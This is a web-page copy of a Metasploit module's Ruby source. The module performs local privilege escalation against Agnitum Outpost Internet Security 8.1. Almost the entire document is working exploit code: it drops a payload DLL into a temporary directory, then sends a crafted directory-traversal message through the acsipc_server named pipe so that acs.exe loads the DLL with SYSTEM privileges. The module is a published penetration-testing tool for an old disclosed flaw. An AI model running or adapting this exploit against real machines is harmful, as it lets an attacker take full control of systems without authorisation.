Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/agnitum_outpost_acs.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::EXE
10
include Msf::Post::File
11
include Msf::Post::Windows::Priv
12
include Msf::Post::Windows::Process
13
include Msf::Exploit::FileDropper
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
{
20
'Name' => 'Agnitum Outpost Internet Security Local Privilege Escalation',
21
'Description' => %q{
22
This module exploits a directory traversal vulnerability on Agnitum Outpost Internet
23
Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load
24
arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary
25
code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with
26
Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions).
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Ahmad Moghimi', # Vulnerability discovery
31
'juan vazquez' # MSF module
32
],
33
'Arch' => [ARCH_X86, ARCH_X64],
34
'Platform' => 'win',
35
'SessionTypes' => [ 'meterpreter' ],
36
'Privileged' => true,
37
'Targets' => [
38
[ 'Agnitum Outpost Internet Security 8.1', {} ],
39
],
40
'Payload' => {
41
'Space' => 2048,
42
'DisableNops' => true
43
},
44
'References' => [
45
[ 'OSVDB', '96208' ],
46
[ 'EDB', '27282' ]
47
],
48
'DisclosureDate' => '2013-08-02',
49
'DefaultTarget' => 0,
50
'Compat' => {
51
'Meterpreter' => {
52
'Commands' => %w[
53
stdapi_railgun_api
54
stdapi_sys_config_getenv
55
]
56
}
57
},
58
'Notes' => {
59
'Reliability' => UNKNOWN_RELIABILITY,
60
'Stability' => UNKNOWN_STABILITY,
61
'SideEffects' => UNKNOWN_SIDE_EFFECTS
62
}
63
}
64
)
65
)
66
67
register_options([
68
# It is OptPath becuase it's a *remote* path
69
OptString.new("WritableDir", [ false, "A directory where we can write files (%TEMP% by default)" ]),
70
# By default acs.exe lives on C:\Program Files\Agnitum\Outpost Security Suite Pro\
71
OptInt.new("DEPTH", [ true, "Traversal depth", 3 ])
72
])
73
end
74
75
def junk
76
return rand_text_alpha(4).unpack("V").first
77
end
78
79
def open_named_pipe(pipe)
80
invalid_handle_value = 0xFFFFFFFF
81
82
r = session.railgun.kernel32.CreateFileA(pipe, "GENERIC_READ | GENERIC_WRITE", 0x3, nil, "OPEN_EXISTING", "FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL", 0)
83
84
handle = r['return']
85
86
if handle == invalid_handle_value
87
return nil
88
end
89
90
return handle
91
end
92
93
def write_named_pipe(handle, dll_path, dll_name)
94
traversal_path = "..\\" * datastore["DEPTH"]
95
traversal_path << dll_path.gsub(/^[a-zA-Z]+:\\/, "")
96
traversal_path << "\\#{dll_name}"
97
98
path = Rex::Text.to_unicode(traversal_path)
99
100
data = "\x00" * 0x11
101
data << path
102
data << "\x00\x00"
103
data << "\x00\x00\x00"
104
105
buf = [0xd48a445e, 0x466e1597, 0x327416ba, 0x68ccde15].pack("V*") # GUID common_handler
106
buf << [0x17].pack("V") # command
107
buf << [junk].pack("V")
108
buf << [data.length].pack("V")
109
buf << [0, 0, 0].pack("V*")
110
buf << data
111
112
w = client.railgun.kernel32.WriteFile(handle, buf, buf.length, 4, nil)
113
114
if w['return'] == false
115
print_error("The was an error writing to disk, check permissions")
116
return nil
117
end
118
119
return w['lpNumberOfBytesWritten']
120
end
121
122
def check
123
handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")
124
if handle.nil?
125
return Exploit::CheckCode::Safe
126
end
127
128
session.railgun.kernel32.CloseHandle(handle)
129
return Exploit::CheckCode::Detected
130
end
131
132
def exploit
133
temp_dir = ""
134
135
print_status("Opening named pipe...")
136
handle = open_named_pipe("\\\\.\\pipe\\acsipc_server")
137
if handle.nil?
138
fail_with(Failure::NoTarget, "\\\\.\\pipe\\acsipc_server named pipe not found")
139
else
140
print_good("\\\\.\\pipe\\acsipc_server found! Proceeding...")
141
end
142
143
if datastore["WritableDir"] and not datastore["WritableDir"].empty?
144
temp_dir = datastore["WritableDir"]
145
else
146
temp_dir = client.sys.config.getenv('TEMP')
147
end
148
149
print_status("Using #{temp_dir} to drop malicious DLL...")
150
begin
151
cd(temp_dir)
152
rescue Rex::Post::Meterpreter::RequestError
153
session.railgun.kernel32.CloseHandle(handle)
154
fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
155
end
156
157
print_status("Writing malicious DLL to remote filesystem")
158
write_path = pwd
159
dll_name = "#{rand_text_alpha(10 + rand(10))}.dll"
160
begin
161
# Agnitum Outpost Internet Security doesn't complain when dropping the dll to filesystem
162
write_file(dll_name, generate_payload_dll)
163
register_file_for_cleanup("#{write_path}\\#{dll_name}")
164
rescue Rex::Post::Meterpreter::RequestError
165
session.railgun.kernel32.CloseHandle(handle)
166
fail_with(Failure::BadConfig, "Failed to drop payload into #{temp_dir}")
167
end
168
169
print_status("Exploiting through \\\\.\\pipe\\acsipc_server...")
170
bytes = write_named_pipe(handle, write_path, dll_name)
171
session.railgun.kernel32.CloseHandle(handle)
172
173
if bytes.nil?
174
fail_with(Failure::Unknown, "Failed while writing to \\\\.\\pipe\\acsipc_server")
175
end
176
end
177
end
178
179